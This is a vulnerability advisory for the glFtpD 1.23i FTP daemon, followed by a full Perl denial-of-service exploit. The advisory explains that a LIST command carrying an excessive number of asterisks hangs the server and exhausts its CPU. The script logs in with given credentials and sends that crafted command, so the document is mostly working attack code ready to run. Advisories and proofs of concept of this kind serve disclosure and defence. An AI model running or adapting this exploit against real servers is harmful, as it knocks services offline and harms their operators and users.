source: https://www.securityfocus.com/bid/3201/info

glFtpD contains an input validation error that may allow a malicious user to cause a denial of service against a host running the daemon.

The problem occurs when a specially crafted 'LIST' command is received by the server. If the argument to the command contains an excessive number of '*' characters, the server will cease to respond and consume all available CPU resources on the system.

If the attack is successful, the server will need to be manually restarted to regain normal functionality.

#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - glFTPD v1.23i =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl gl123DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "*" x 256;

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect  to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n"  or die
"Error: can't send pass\n";

print $remote "LIST $err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\nnote: Attack done doesn't mean
Attack successful\n";
$bla= <STDIN>;
close $remote;